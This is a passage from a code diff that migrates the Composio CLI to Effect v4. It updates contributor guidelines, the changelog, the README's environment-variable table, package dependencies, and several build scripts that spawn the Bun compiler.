168 - Treat `unknown`, JSON, persisted state, and API payloads as trust boundaries. Decode them with `effect/Schema` or narrow them with `Predicate`; an `as` assertion is not validation, and hand-rolled structural guards (`'x' in obj` / `typeof` chains) are not a substitute for a schema. `effect/Schema` is the CLI's schema tool — do not introduce zod here (zod is the convention in the SDK packages and docs).
167 -- Do not inspect private `@effect/cli` descriptor shapes. Use public `CommandDescriptor` operations or keep declarative command metadata that can move to Effect v4's public command tree.
168 -- Prefer `Effect.mapError`, `Effect.matchEffect`, and typed recovery over `catchAll` blocks that flatten distinct failures into one message-only error.
169 +- Do not inspect private `effect/unstable/cli` internals (parser state, `HelpDoc` string shapes, `CliError` suggestion machinery). `Command.runWith` renders help and parse/validation errors itself — see the entry-point section above — so command-tree introspection must stay on the public `Command.Any` surface (`name`, `alias`, `subcommands`). `CliError.InvalidValue` takes structured `{ option, value, expected, kind }` fields, not a free-form message — commands that need a custom validation message raise a local `Data.TaggedError` instead (see `src/commands/login.cmd.ts`'s `LoginOptionError`) and let it flow through the existing `effect-errors` pretty-printer, not a hand-built `CliError`.
170 +- Prefer `Effect.mapError`, `Effect.matchEffect`, and typed recovery over `Effect.catch` blocks (the v4 name for what was `Effect.catchAll`) that flatten distinct failures into one message-only error.
171
172 ### Effect Boundary Policy
173
174 All platform access goes through Effect services. `node:path`, `node:fs`, `node:os`, `node:child_process`, `process.env`, and `try`/`catch` are lint-banned (oxlint) in `src/`. Use the sanctioned equivalents:
175
174 -| Need | Use |
175 -| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
176 -| Path arithmetic (join/resolve/dirname/…) | `Path` service from `@effect/platform/Path` (`const path = yield* Path.Path`) |
177 -| Filesystem I/O | `FileSystem` service from `@effect/platform/FileSystem` |
178 -| homedir / tmpdir / platform / arch | `NodeOs` service (`src/services/node-os.ts`, the sole `node:os` boundary) |
179 -| Subprocesses | `Command` from `@effect/platform/Command`; children that outlive the CLI via `src/services/detached-process.ts` (sole detached-spawn boundary) |
180 -| Environment reads | `effect/Config` |
181 -| Sync fallible ops (`JSON.parse`, `new URL`, `JSON.stringify`) | `Either.try` with a `Data.TaggedError`; JSON records via `parseJsonRecord` (`src/utils/parse-json.ts`) |
176 +| Need | Use |
177 +| ------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
178 +| Path arithmetic (join/resolve/dirname/…) | `Path` service from `effect/Path` (`const path = yield* Path.Path`) |
179 +| Filesystem I/O | `FileSystem` service from `effect/FileSystem` (`const fs = yield* FileSystem.FileSystem`) |
180 +| homedir / tmpdir / platform / arch | `NodeOs` service (`src/services/node-os.ts`, the sole `node:os` boundary) |
181 +| Subprocesses | `ChildProcess` / `ChildProcessSpawner` from `effect/unstable/process`; children that outlive the CLI via `src/services/detached-process.ts` |
182 +| Environment reads | `effect/Config` |
183 +| Sync fallible ops (`JSON.parse`, `new URL`, `JSON.stringify`) | `Result.try` with a `Data.TaggedError`; JSON records via `parseJsonRecord` (`src/utils/parse-json.ts`) |
184
183 -Import `@effect/platform` and `@effect/platform-bun` modules by subpath (`import * as FileSystem from '@effect/platform/FileSystem'`), never from the package barrel; oxlint rejects the barrel in `src/`. Effect v4 relocates each of these modules separately, so per-module imports keep that move a path rewrite.
185 +Import platform modules by subpath (`import * as FileSystem from 'effect/FileSystem'`, `import * as BunFileSystem from '@effect/platform-bun/BunFileSystem'`), never from the `@effect/platform-bun` package barrel; oxlint rejects the barrel in `src/`.
186
187 Conversion patterns, in order of preference:
188
189 1. Yield the service inside existing Effect code.
188 -2. Convert a plain helper into an Effect when its callers are Effect-hosted (`Either` is a subtype of `Effect`, so both compose with `yield*`).
190 +2. Convert a plain helper into an Effect when its callers are Effect-hosted (a `Result` is not an `Effect` in v4 and cannot be yielded directly, even though the type checker accepts it: lift it with `Effect.fromResult(...)` inside `Effect.gen`).
191 3. Pass the resolved service instance (e.g. `Path.Path`, `FileSystem.FileSystem`) as a plain parameter into sync callbacks or promise pipelines that cannot become Effects (see `tool-permissions.ts`, `generation/typescript/virtual-compiler-host.ts`).
190 -4. Modules that self-provide layers add `Path.layer` / `BunFileSystem.layer` / `NodeOs.Default` to their stack instead of reaching for Node builtins.
192 +4. Modules that self-provide layers add `BunPath.layer` / `BunFileSystem.layer` / `NodeOs.Default` to their stack instead of reaching for Node builtins.
193
194 The only code allowed to bypass services sits at declared runtime boundaries: the `bin.ts` bootstrap, the child-process companion runtime (`run-helpers-runtime.ts`, `run-subagent-*` — bundled into `.mjs` files that run in the user's spawned process), import-time UI setup (`ui/colors.ts`, `ui/redact.ts`), environment **writes** and whole-environment enumeration (which `effect/Config` cannot express), and spawn-time env handshakes between parent and child `composio run` processes. Every such boundary is an inline `// eslint-disable-next-line <rule> -- <reason>` comment registered in `lint-boundaries.json`. (oxlint honors both the `eslint-disable` and `oxlint-disable` spellings; only `eslint-disable-next-line` is sanctioned here, and the boundary validator rejects `oxlint-disable` comments in `src/`. The restricted-syntax rule ships from a JS plugin, so its disables name it `eslint-js/no-restricted-syntax`.)
195
@@ -195,11 +197,14 @@ The only code allowed to bypass services sits at declared runtime boundaries: th
197
198 ## Vendor Reference Sources
199
198 -Read-only submodules under `ts/vendor/` (do NOT modify — actual deps come from npm):
200 +Read-only submodules under `ts/vendor/`, pinned at the `effect@4.0.0-rc.112` release commit (do NOT modify — actual deps come from npm). v4 folded `@effect/cli`/`@effect/platform` into the core `effect` package, so there is no longer a separate `packages/cli` or `packages/platform` — everything lives under `packages/effect/src/`:
201
200 -- `ts/vendor/effect/packages/effect/src/` — core Effect runtime
201 -- `ts/vendor/effect/packages/cli/src/` — `@effect/cli` (Command, Options, Args)
202 -- `ts/vendor/effect/packages/platform/src/` — `@effect/platform`
202 +- `ts/vendor/effect/packages/effect/src/` — core Effect runtime (`Effect`, `Schema`, `Layer`, `Context`, `Result`, `Cause`, `Config`, `FileSystem`, `Path`, `PlatformError`, …)
203 +- `ts/vendor/effect/packages/effect/src/unstable/cli/` — `effect/unstable/cli` (`Command`, `Flag`, `Argument`, `CliError`, `CliConfig`, `CliOutput`, `GlobalFlag`, `HelpDoc`, `Completions`, `Prompt`)
204 +- `ts/vendor/effect/packages/effect/src/unstable/http/` — `effect/unstable/http` (`HttpClient`, `HttpClientRequest`, `HttpClientResponse`, `FetchHttpClient`)
205 +- `ts/vendor/effect/packages/effect/src/unstable/process/` — `effect/unstable/process` (`ChildProcess`, `ChildProcessSpawner`)
206 +- `ts/vendor/effect/packages/platform/bun/src/` — `@effect/platform-bun` (`BunFileSystem`, `BunPath`, `BunServices`, `BunRuntime`, `BunChildProcessSpawner`, …)
207 +- `ts/vendor/effect/migration/` — official v3-to-v4 migration guides (`services.md`, `schema.md`, `cause.md`, `runtime.md`, `v3-to-v4.md`, …)
208 - `ts/vendor/clack/packages/prompts/src/` — `@clack/prompts` (text, select, confirm, spinner, note, task, etc.)
209 - `ts/vendor/clack/packages/core/src/` — `@clack/core` primitives
210
ts/packages/cli/CHANGELOG.md
+5
@@ -4,6 +4,11 @@
4
5 ### Patch Changes
6
7 +- The CLI now runs on Effect 4 (`effect@4.0.0-rc.112`). Unrecognized commands and
8 + flags now print a "Did you mean?" suggestion next to the help text for the command
9 + that failed to parse, and parse errors for a nested command show that command's
10 + help instead of the root help. `composio --version`, `composio -v`, and
11 + `composio version` keep printing the same bare version string.
12 - `composio generate` now keeps tool and trigger metadata as inert data in
13 generated Python and TypeScript sources. Crafted slugs and descriptions can
14 no longer inject code into generated modules.
ts/packages/cli/README.md
+22 -22
@@ -16,12 +16,12 @@ The CLI is built using:
16 ## 🧑‍💻 Usage
17
18 ```
19 -composio [--log-level all|trace|debug|info|warning|error|fatal|none]
19 +composio [--log-level All|Trace|Debug|Info|Warn|Error|Fatal|None]
20 ```
21
22 ### Optional Flags
23
24 -- `--log-level`: Set the log verbosity level. Accepted values: all, trace, debug, info, warning, error, fatal, none
24 +- `--log-level`: Set the log verbosity level. Accepted values (case-sensitive): All, Trace, Debug, Info, Warn, Error, Fatal, None
25 - `--install-skill [skill-name] <claude|codex|openclaw>`: Manually install the composio skill for a supported agent when automatic installation fails. `--instal-skill` is still accepted as a backward-compatible alias.
26
27 ## 🧭 Commands
@@ -54,26 +54,26 @@ The Composio CLI supports configuration via environment variables. It stores aut
54
55 By default, both files are stored in `~/.composio`, but you can specify a custom location using the `COMPOSIO_CACHE_DIR` environment variable.
56
57 -| Environment Variable | JSON config | Description | Default |
58 -| ---------------------------------------- | ----------------------------------- | ------------------------------------------------------------------------- | ------------------------------------------------------------------------ |
59 -| COMPOSIO_USER_API_KEY | `user_data.json`: `api_key` | Composio user API key | None |
60 -| COMPOSIO_ENVIRONMENT | - | Selects the production or staging URL defaults | production |
61 -| COMPOSIO_BASE_URL | `user_data.json`: `base_url` | The base URL of the Composio backend API | https://backend.composio.dev |
62 -| COMPOSIO_WEB_URL | `user_data.json`: `web_url` | The base URL of the Composio web app | https://dashboard.composio.dev/ |
63 -| COMPOSIO_CACHE_DIR | - | The directory where the Composio CLI stores cache files | ~/.composio |
64 -| COMPOSIO_SESSION_DIR | `config.json`: `artifact_directory` | The root directory for CLI session artifacts | `COMPOSIO_CACHE_DIR`, then `artifact_directory`, then `$TMPDIR/composio` |
65 -| COMPOSIO_BIN_DIR | - | The directory `composio install` adds to `PATH` (see below) | Resolved from the running binary |
66 -| COMPOSIO_LOG_LEVEL | - | The log level for the Composio CLI | None |
67 -| COMPOSIO_ORG_ID | - | The organization ID used for project-scoped commands | Active project |
68 -| COMPOSIO_PROJECT_ID | - | The project ID used for project-scoped commands | Active project |
69 -| COMPOSIO_AGENTS_BASE_URL | - | The base URL of the Composio agents service | https://agents.composio.dev |
70 -| COMPOSIO_WEBHOOK_SECRET | - | The signing secret for events forwarded by `composio dev triggers listen` | Generated for the current session |
71 -| COMPOSIO_DISABLE_CONNECTED_ACCOUNT_CACHE | - | Disables the connected-account cache | true |
72 -| COMPOSIO_PERF_DEBUG | - | Set to `1` to write performance diagnostics | 0 |
73 -| COMPOSIO_TOOL_DEBUG | - | Set to `1` to write tool diagnostics | 0 |
74 -| DEBUG_OVERRIDE_VERSION | - | The version to use when upgrading the Composio CLI (for debugging) | None |
75 -| FORCE_USE_CACHE | - | Whether to force the use of previously cached HTTP responses | None |
76 -| NO_COLOR | - | If set, disables color output in the CLI (https://no-color.org/) | None |
57 +| Environment Variable | JSON config | Description | Default |
58 +| ---------------------------------------- | ----------------------------------- | ------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------ |
59 +| COMPOSIO_USER_API_KEY | `user_data.json`: `api_key` | Composio user API key | None |
60 +| COMPOSIO_ENVIRONMENT | - | Selects the production or staging URL defaults | production |
61 +| COMPOSIO_BASE_URL | `user_data.json`: `base_url` | The base URL of the Composio backend API | https://backend.composio.dev |
62 +| COMPOSIO_WEB_URL | `user_data.json`: `web_url` | The base URL of the Composio web app | https://dashboard.composio.dev/ |
63 +| COMPOSIO_CACHE_DIR | - | The directory where the Composio CLI stores cache files | ~/.composio |
64 +| COMPOSIO_SESSION_DIR | `config.json`: `artifact_directory` | The root directory for CLI session artifacts | `COMPOSIO_CACHE_DIR`, then `artifact_directory`, then `$TMPDIR/composio` |
65 +| COMPOSIO_BIN_DIR | - | The directory `composio install` adds to `PATH` (see below) | Resolved from the running binary |
66 +| COMPOSIO_LOG_LEVEL | - | The log level for the Composio CLI (case-sensitive: All, Trace, Debug, Info, Warn, Error, Fatal, None) | None |
67 +| COMPOSIO_ORG_ID | - | The organization ID used for project-scoped commands | Active project |
68 +| COMPOSIO_PROJECT_ID | - | The project ID used for project-scoped commands | Active project |
69 +| COMPOSIO_AGENTS_BASE_URL | - | The base URL of the Composio agents service | https://agents.composio.dev |
70 +| COMPOSIO_WEBHOOK_SECRET | - | The signing secret for events forwarded by `composio dev triggers listen` | Generated for the current session |
71 +| COMPOSIO_DISABLE_CONNECTED_ACCOUNT_CACHE | - | Disables the connected-account cache | true |
72 +| COMPOSIO_PERF_DEBUG | - | Set to `1` to write performance diagnostics | 0 |
73 +| COMPOSIO_TOOL_DEBUG | - | Set to `1` to write tool diagnostics | 0 |
74 +| DEBUG_OVERRIDE_VERSION | - | The version to use when upgrading the Composio CLI (for debugging) | None |
75 +| FORCE_USE_CACHE | - | Whether to force the use of previously cached HTTP responses | None |
76 +| NO_COLOR | - | If set, disables color output in the CLI (https://no-color.org/) | None |
77
78 The CLI and its installer use these variables to coordinate nested commands. They aren't intended for manual configuration.
79
ts/packages/cli/package.json
-2
@@ -53,7 +53,6 @@
53 "license": "ISC",
54 "devDependencies": {
55 "@effect/language-service": "catalog:",
56 - "@effect/platform": "catalog:",
56 "@effect/vitest": "catalog:",
57 "@types/bun": "catalog:",
58 "@types/semver": "^7.8.0",
@@ -74,7 +73,6 @@
73 "@composio/json-schema-to-effect-schema": "workspace:*",
74 "@composio/json-schema-to-zod": "workspace:*",
75 "@composio/ts-builders": "workspace:*",
77 - "@effect/cli": "catalog:",
76 "@effect/platform-bun": "catalog:",
77 "@modelcontextprotocol/sdk": "catalog:",
78 "@zed-industries/claude-code-acp": "^0.16.2",
ts/packages/cli/scripts/_release-artifacts.ts
+6 -4
@@ -6,7 +6,7 @@
6 * under Node.
7 */
8
9 -import { Data, Either } from 'effect';
9 +import { Data, Option, Result } from 'effect';
10 import {
11 RUN_COMPANION_ALL_STATIC_ASSET_RELATIVE_PATHS,
12 runCompanionStaticAssetRelativePathsFor,
@@ -54,9 +54,11 @@ export class UnknownReleaseArtifactError extends Data.TaggedError(
54 */
55 export const releaseArtifactTargetFor = (
56 artifactName: string
57 -): Either.Either<ReleaseArtifactTarget, UnknownReleaseArtifactError> =>
58 - Either.fromNullable(
59 - RELEASE_ARTIFACT_TARGETS.find(target => target.artifactName === artifactName),
57 +): Result.Result<ReleaseArtifactTarget, UnknownReleaseArtifactError> =>
58 + Result.fromOption(
59 + Option.fromUndefinedOr(
60 + RELEASE_ARTIFACT_TARGETS.find(target => target.artifactName === artifactName)
61 + ),
62 () => new UnknownReleaseArtifactError({ artifactName })
63 );
64
ts/packages/cli/scripts/_teardown.ts
+2 -2
@@ -1,6 +1,6 @@
1 import process from 'node:process';
2 import { Cause, Exit } from 'effect';
3 -import type { Teardown } from '@effect/platform/Runtime';
3 +import type { Teardown } from 'effect/Runtime';
4
5 /**
6 * Shared teardown for CLI scripts.
@@ -9,7 +9,7 @@ import type { Teardown } from '@effect/platform/Runtime';
9 * loading the CLI runtime or requiring built workspace packages.
10 */
11 export const teardown: Teardown = <E, A>(exit: Exit.Exit<E, A>, onExit: (code: number) => void) => {
12 - const shouldFail = Exit.isFailure(exit) && !Cause.isInterruptedOnly(exit.cause);
12 + const shouldFail = Exit.isFailure(exit) && !Cause.hasInterruptsOnly(exit.cause);
13 const errorCode = Number(process.exitCode ?? 1);
14 onExit(shouldFail ? errorCode : 0);
15 };
ts/packages/cli/scripts/build-all-binaries.ts
+24 -31
@@ -12,9 +12,9 @@
12 * Output: `dist/binaries/composio-*`
13 */
14
15 -import { Config, ConfigProvider, Console, Effect, Stream, Logger, Layer, LogLevel } from 'effect';
16 -import * as Command from '@effect/platform/Command';
17 -import * as BunContext from '@effect/platform-bun/BunContext';
15 +import { Config, ConfigProvider, Console, Effect, Stream, Logger, Layer, References } from 'effect';
16 +import { ChildProcess as Command } from 'effect/unstable/process';
17 +import * as BunServices from '@effect/platform-bun/BunServices';
18 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
19 import {
20 buildCompanionModules,
@@ -53,28 +53,23 @@ function runBunBuild(target: string, outfile: string) {
53 outfile,
54 ] as const satisfies ReadonlyArray<string>;
55
56 - const cmd = Command.make(...args);
56 + const child = yield* Command.make(args[0], args.slice(1));
57
58 - const { exitCode } = yield* cmd.pipe(
59 - Command.start,
60 - Effect.flatMap(process =>
61 - Effect.all(
62 - {
63 - exitCode: process.exitCode,
64 - output: Stream.merge(
65 - Stream.decodeText(process.stdout, 'utf-8'),
66 - Stream.decodeText(process.stderr, 'utf-8'),
67 - { haltStrategy: 'left' }
68 - ).pipe(
69 - Stream.tap(chunk => Console.log(chunk)),
70 - Stream.runDrain
71 - ),
72 - },
73 - {
74 - concurrency: 'unbounded',
75 - }
76 - )
77 - )
58 + const { exitCode } = yield* Effect.all(
59 + {
60 + exitCode: child.exitCode,
61 + output: Stream.merge(
62 + Stream.decodeText(child.stdout, { encoding: 'utf-8' }),
63 + Stream.decodeText(child.stderr, { encoding: 'utf-8' }),
64 + { haltStrategy: 'left' }
65 + ).pipe(
66 + Stream.tap(chunk => Console.log(chunk)),
67 + Stream.runDrain
68 + ),
69 + },
70 + {
71 + concurrency: 'unbounded',
72 + }
73 );
74
75 if (exitCode !== 0) {
@@ -109,18 +104,16 @@ export function buildAllBinaries() {
104 }
105
106 const ConfigLive = Effect.gen(function* () {
112 - const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(
113 - Config.withDefault(LogLevel.Info)
114 - );
107 + const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(Config.withDefault('Info'));
108
116 - return Logger.minimumLogLevel(logLevel);
117 -}).pipe(Layer.unwrapEffect, Layer.merge(Layer.setConfigProvider(ConfigProvider.fromEnv())));
109 + return Layer.succeed(References.MinimumLogLevel, logLevel);
110 +}).pipe(Layer.unwrap, Layer.merge(ConfigProvider.layer(ConfigProvider.fromEnv())));
111
112 if (require.main === module) {
113 buildAllBinaries().pipe(
114 Effect.provide(ConfigLive),
122 - Effect.provide(Logger.pretty),
123 - Effect.provide(BunContext.layer),
115 + Effect.provide(Logger.layer([Logger.consolePretty()])),
116 + Effect.provide(BunServices.layer),
117 Effect.scoped,
118 Effect.map(() => ({ message: 'Process completed successfully.' })),
119 BunRuntime.runMain({
ts/packages/cli/scripts/build-binary-cross.ts
+24 -31
@@ -15,9 +15,9 @@
15 */
16
17 import process from 'node:process';
18 -import { Config, ConfigProvider, Console, Effect, Stream, Logger, Layer, LogLevel } from 'effect';
19 -import * as Command from '@effect/platform/Command';
20 -import * as BunContext from '@effect/platform-bun/BunContext';
18 +import { Config, ConfigProvider, Console, Effect, Stream, Logger, Layer, References } from 'effect';
19 +import { ChildProcess as Command } from 'effect/unstable/process';
20 +import * as BunServices from '@effect/platform-bun/BunServices';
21 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
22 import {
23 buildCompanionModules,
@@ -84,30 +84,25 @@ export function buildBinaryCross() {
84 outfile,
85 ] as const satisfies ReadonlyArray<string>;
86
87 - const cmd = Command.make(...args);
87 + const child = yield* Command.make(args[0], args.slice(1));
88
89 yield* Effect.logDebug('Running build command with', args.join(' '), '');
90
91 - const { exitCode } = yield* cmd.pipe(
92 - Command.start,
93 - Effect.flatMap(process =>
94 - Effect.all(
95 - {
96 - exitCode: process.exitCode,
97 - output: Stream.merge(
98 - Stream.decodeText(process.stdout, 'utf-8'),
99 - Stream.decodeText(process.stderr, 'utf-8'),
100 - { haltStrategy: 'left' }
101 - ).pipe(
102 - Stream.tap(chunk => Console.log(chunk)),
103 - Stream.runDrain
104 - ),
105 - },
106 - {
107 - concurrency: 'unbounded',
108 - }
109 - )
110 - )
91 + const { exitCode } = yield* Effect.all(
92 + {
93 + exitCode: child.exitCode,
94 + output: Stream.merge(
95 + Stream.decodeText(child.stdout, { encoding: 'utf-8' }),
96 + Stream.decodeText(child.stderr, { encoding: 'utf-8' }),
97 + { haltStrategy: 'left' }
98 + ).pipe(
99 + Stream.tap(chunk => Console.log(chunk)),
100 + Stream.runDrain
101 + ),
102 + },
103 + {
104 + concurrency: 'unbounded',
105 + }
106 );
107
108 process.exitCode = exitCode;
@@ -129,18 +124,16 @@ export function buildBinaryCross() {
124 }
125
126 const ConfigLive = Effect.gen(function* () {
132 - const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(
133 - Config.withDefault(LogLevel.Info)
134 - );
127 + const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(Config.withDefault('Info'));
128
136 - return Logger.minimumLogLevel(logLevel);
137 -}).pipe(Layer.unwrapEffect, Layer.merge(Layer.setConfigProvider(ConfigProvider.fromEnv())));
129 + return Layer.succeed(References.MinimumLogLevel, logLevel);
130 +}).pipe(Layer.unwrap, Layer.merge(ConfigProvider.layer(ConfigProvider.fromEnv())));
131
132 if (require.main === module) {
133 buildBinaryCross().pipe(
134 Effect.provide(ConfigLive),
142 - Effect.provide(Logger.pretty),
143 - Effect.provide(BunContext.layer),
135 + Effect.provide(Logger.layer([Logger.consolePretty()])),
136 + Effect.provide(BunServices.layer),
137 Effect.scoped,
138 Effect.map(() => ({ message: 'Process completed successfully.' })),
139 BunRuntime.runMain({
ts/packages/cli/scripts/build-binary.ts
+25 -32
@@ -1,7 +1,7 @@
1 import process from 'node:process';
2 -import { Config, ConfigProvider, Console, Effect, Stream, Logger, Layer, LogLevel } from 'effect';
3 -import * as Command from '@effect/platform/Command';
4 -import * as BunContext from '@effect/platform-bun/BunContext';
2 +import { Config, ConfigProvider, Console, Effect, Stream, Logger, Layer, References } from 'effect';
3 +import { ChildProcess as Command } from 'effect/unstable/process';
4 +import * as BunServices from '@effect/platform-bun/BunServices';
5 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
6 import {
7 buildCompanionModules,
@@ -50,30 +50,25 @@ export function buildBinary() {
50 './dist/composio',
51 ] as const satisfies ReadonlyArray<string>;
52
53 - const cmd = Command.make(...args);
54 -
53 yield* Effect.logDebug('Running build command with', args.join(' '), '');
54
57 - const { exitCode } = yield* cmd.pipe(
58 - Command.start,
59 - Effect.flatMap(process =>
60 - Effect.all(
61 - {
62 - exitCode: process.exitCode,
63 - output: Stream.merge(
64 - Stream.decodeText(process.stdout, 'utf-8'),
65 - Stream.decodeText(process.stderr, 'utf-8'),
66 - { haltStrategy: 'left' }
67 - ).pipe(
68 - Stream.tap(chunk => Console.log(chunk)),
69 - Stream.runDrain
70 - ),
71 - },
72 - {
73 - concurrency: 'unbounded',
74 - }
75 - )
76 - )
55 + const child = yield* Command.make(args[0], args.slice(1));
56 +
57 + const { exitCode } = yield* Effect.all(
58 + {
59 + exitCode: child.exitCode,
60 + output: Stream.merge(
61 + Stream.decodeText(child.stdout, { encoding: 'utf-8' }),
62 + Stream.decodeText(child.stderr, { encoding: 'utf-8' }),
63 + { haltStrategy: 'left' }
64 + ).pipe(
65 + Stream.tap(chunk => Console.log(chunk)),
66 + Stream.runDrain
67 + ),
68 + },
69 + {
70 + concurrency: 'unbounded',
71 + }
72 );
73
74 process.exitCode = exitCode;
@@ -102,18 +97,16 @@ export function buildBinary() {
97 }
98
99 const ConfigLive = Effect.gen(function* () {
105 - const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(
106 - Config.withDefault(LogLevel.Info)
107 - );
100 + const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(Config.withDefault('Info'));
101
109 - return Logger.minimumLogLevel(logLevel);
110 -}).pipe(Layer.unwrapEffect, Layer.merge(Layer.setConfigProvider(ConfigProvider.fromEnv())));
102 + return Layer.succeed(References.MinimumLogLevel, logLevel);
103 +}).pipe(Layer.unwrap, Layer.merge(ConfigProvider.layer(ConfigProvider.fromEnv())));
104
105 if (require.main === module) {
106 buildBinary().pipe(
107 Effect.provide(ConfigLive),
115 - Effect.provide(Logger.pretty),
116 - Effect.provide(BunContext.layer),
108 + Effect.provide(Logger.layer([Logger.consolePretty()])),
109 + Effect.provide(BunServices.layer),
110 Effect.scoped,
111 Effect.map(() => ({ message: 'Process completed successfully.' })),
112 BunRuntime.runMain({
ts/packages/cli/scripts/build-companion-modules.ts
+7 -9
@@ -13,8 +13,8 @@
13 */
14
15 import process from 'node:process';
16 -import { Config, ConfigProvider, Console, Effect, Logger, Layer, LogLevel } from 'effect';
17 -import * as BunContext from '@effect/platform-bun/BunContext';
16 +import { Config, ConfigProvider, Console, Effect, Logger, Layer, References } from 'effect';
17 +import * as BunServices from '@effect/platform-bun/BunServices';
18 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
19 import { buildCompanionModules, hostCodexAcpBinaryTargets, teardown } from './_shared';
20 import { BinaryBuildError } from './build-error';
@@ -47,18 +47,16 @@ export function buildCompanionModulesCommand() {
47 }
48
49 const ConfigLive = Effect.gen(function* () {
50 - const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(
51 - Config.withDefault(LogLevel.Info)
52 - );
50 + const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(Config.withDefault('Info'));
51
54 - return Logger.minimumLogLevel(logLevel);
55 -}).pipe(Layer.unwrapEffect, Layer.merge(Layer.setConfigProvider(ConfigProvider.fromEnv())));
52 + return Layer.succeed(References.MinimumLogLevel, logLevel);
53 +}).pipe(Layer.unwrap, Layer.merge(ConfigProvider.layer(ConfigProvider.fromEnv())));
54
55 if (require.main === module) {
56 buildCompanionModulesCommand().pipe(
57 Effect.provide(ConfigLive),
60 - Effect.provide(Logger.pretty),
61 - Effect.provide(BunContext.layer),
58 + Effect.provide(Logger.layer([Logger.consolePretty()])),
59 + Effect.provide(BunServices.layer),
60 Effect.scoped,
61 Effect.map(() => ({ message: 'Process completed successfully.' })),
62 BunRuntime.runMain({
ts/packages/cli/scripts/copy-local-tools-assets.ts
+2 -2
@@ -2,14 +2,14 @@
2
3 import process from 'node:process';
4 import { Effect } from 'effect';
5 -import * as BunContext from '@effect/platform-bun/BunContext';
5 +import * as BunServices from '@effect/platform-bun/BunServices';
6 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
7 import { copyLocalToolBinaryAssets, teardown } from './_shared';
8
9 const outputDir = process.argv[2] ?? './dist';
10
11 copyLocalToolBinaryAssets(outputDir).pipe(
12 - Effect.provide(BunContext.layer),
12 + Effect.provide(BunServices.layer),
13 Effect.scoped,
14 BunRuntime.runMain({ teardown })
15 );
ts/packages/cli/scripts/copy-mocks-from-cache.ts
+10 -14
@@ -1,9 +1,8 @@
1 import process from 'node:process';
2 -import { Config, ConfigProvider, Console, Effect, Logger, Layer, LogLevel } from 'effect';
3 -import * as BunContext from '@effect/platform-bun/BunContext';
4 -import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
2 +import { Config, ConfigProvider, Console, Effect, Logger, Layer, References } from 'effect';
3 +import * as BunServices from '@effect/platform-bun/BunServices';
4 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
6 -import * as FileSystem from '@effect/platform/FileSystem';
5 +import { FileSystem } from 'effect/FileSystem';
6 import { teardown } from './_shared';
7 import path from 'node:path';
8 import { $ } from 'bun';
@@ -18,7 +17,7 @@ import { NodeOs } from 'src/services/node-os';
17 */
18 export function copyMocksFromCache() {
19 return Effect.gen(function* () {
21 - const fs = yield* FileSystem.FileSystem;
20 + const fs = yield* FileSystem;
21 const defaultMocksDir = path.join(process.cwd(), 'test', '__mocks__');
22
23 const cacheDir = yield* setupCacheDir;
@@ -37,7 +36,7 @@ export function copyMocksFromCache() {
36
37 const cacheFileExists = yield* fs
38 .exists(cacheFilePath)
40 - .pipe(Effect.orElse(() => Effect.succeed(false)));
39 + .pipe(Effect.orElseSucceed(() => false));
40
41 if (!cacheFileExists) {
42 yield* Effect.logWarning(`Cache file ${cacheFilePath} does not exist, skipping.`);
@@ -52,19 +51,16 @@ export function copyMocksFromCache() {
51 }
52
53 const ConfigLive = Effect.gen(function* () {
55 - const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(
56 - Config.withDefault(LogLevel.Info)
57 - );
54 + const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(Config.withDefault('Info'));
55
59 - return Logger.minimumLogLevel(logLevel);
60 -}).pipe(Layer.unwrapEffect, Layer.merge(Layer.setConfigProvider(ConfigProvider.fromEnv())));
56 + return Layer.succeed(References.MinimumLogLevel, logLevel);
57 +}).pipe(Layer.unwrap, Layer.merge(ConfigProvider.layer(ConfigProvider.fromEnv())));
58
59 if (require.main === module) {
60 copyMocksFromCache().pipe(
61 Effect.provide(ConfigLive),
65 - Effect.provide(Logger.pretty),
66 - Effect.provide(BunContext.layer),
67 - Effect.provide(BunFileSystem.layer),
62 + Effect.provide(Logger.layer([Logger.consolePretty()])),
63 + Effect.provide(BunServices.layer),
64 Effect.provide(NodeOs.Default),
65 Effect.scoped,
66 Effect.map(() => ({ message: 'Process completed successfully.' })),
ts/packages/cli/scripts/generate-checksums.ts
+7 -9
@@ -15,8 +15,8 @@
15 */
16
17 import process from 'node:process';
18 -import { Config, ConfigProvider, Console, Effect, Logger, Layer, LogLevel } from 'effect';
19 -import * as BunContext from '@effect/platform-bun/BunContext';
18 +import { Config, ConfigProvider, Console, Effect, Logger, Layer, References } from 'effect';
19 +import * as BunServices from '@effect/platform-bun/BunServices';
20 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
21 import { teardown } from './_teardown';
22 import { readdir, readFile, writeFile } from 'node:fs/promises';
@@ -60,18 +60,16 @@ export function generateChecksums() {
60 }
61
62 const ConfigLive = Effect.gen(function* () {
63 - const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(
64 - Config.withDefault(LogLevel.Info)
65 - );
63 + const logLevel = yield* Config.logLevel('COMPOSIO_LOG_LEVEL').pipe(Config.withDefault('Info'));
64
67 - return Logger.minimumLogLevel(logLevel);
68 -}).pipe(Layer.unwrapEffect, Layer.merge(Layer.setConfigProvider(ConfigProvider.fromEnv())));
65 + return Layer.succeed(References.MinimumLogLevel, logLevel);
66 +}).pipe(Layer.unwrap, Layer.merge(ConfigProvider.layer(ConfigProvider.fromEnv())));
67
68 if (require.main === module) {
69 generateChecksums().pipe(
